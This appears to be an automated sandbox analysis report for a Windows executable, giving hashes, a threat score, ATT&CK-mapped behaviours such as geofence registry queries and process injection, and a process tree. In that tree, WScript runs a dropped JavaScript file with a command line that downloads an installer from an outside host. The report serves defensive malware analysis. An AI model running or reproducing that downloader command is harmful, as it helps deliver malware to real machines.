ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367

General

Target

ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe
Size

184KB
MD5

8bbee466ddc779509f7b5d3ca53b5356
SHA1

f8bb919b6c655d571fb309af43e621b4ac6e63b9
SHA256

ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367
SHA512

c81fbfc36b438b145f9f80ff3ac10b10843f05ed499b8299e6443131df242c7c58795c254ed82baab0b904710c678f54b05344b5c73438e9b60d1d15908d6f11
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3B:/7BSH8zUB+nGESaaRvoB7FJNndnU

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 12 IoCs

flow	pid	Process
4	5116	WScript.exe
8	5116	WScript.exe
22	3588	WScript.exe
24	3588	WScript.exe
34	3588	WScript.exe
39	3588	WScript.exe
42	3588	WScript.exe
47	3588	WScript.exe
48	3164	WScript.exe
49	3164	WScript.exe
51	1036	WScript.exe
56	1036	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	48	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 5116	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	80
PID 4992 wrote to memory of 5116	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	80
PID 4992 wrote to memory of 5116	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	80
PID 4992 wrote to memory of 3588	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	82
PID 4992 wrote to memory of 3588	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	82
PID 4992 wrote to memory of 3588	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	82
PID 4992 wrote to memory of 3164	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	83
PID 4992 wrote to memory of 3164	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	83
PID 4992 wrote to memory of 3164	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	83
PID 4992 wrote to memory of 1036	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	84
PID 4992 wrote to memory of 1036	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	84
PID 4992 wrote to memory of 1036	4992	ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe	84

C:\Users\Admin\AppData\Local\Temp\ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe
"C:\Users\Admin\AppData\Local\Temp\ab898d4431f21c0a5533faaf9862daf0feb23e63b737be4e4c84c16b822a6367.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7D43.js" http://www.djapp.info/?domain=WuJFSpxpIJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf7D43.exe
  2⤵
  - Blocklisted process makes network request
  PID:5116
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7D43.js" http://www.djapp.info/?domain=WuJFSpxpIJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf7D43.exe
  2⤵
  - Blocklisted process makes network request
  PID:3588
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7D43.js" http://www.djapp.info/?domain=WuJFSpxpIJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf7D43.exe
  2⤵
  - Blocklisted process makes network request
  PID:3164
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7D43.js" http://www.djapp.info/?domain=WuJFSpxpIJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf7D43.exe
  2⤵
  - Blocklisted process makes network request
  PID:1036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf7D43.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/1036-136-0x0000000000000000-mapping.dmp

Download
memory/3164-135-0x0000000000000000-mapping.dmp

Download
memory/3588-134-0x0000000000000000-mapping.dmp

Download
memory/5116-132-0x0000000000000000-mapping.dmp

Download

Analysis

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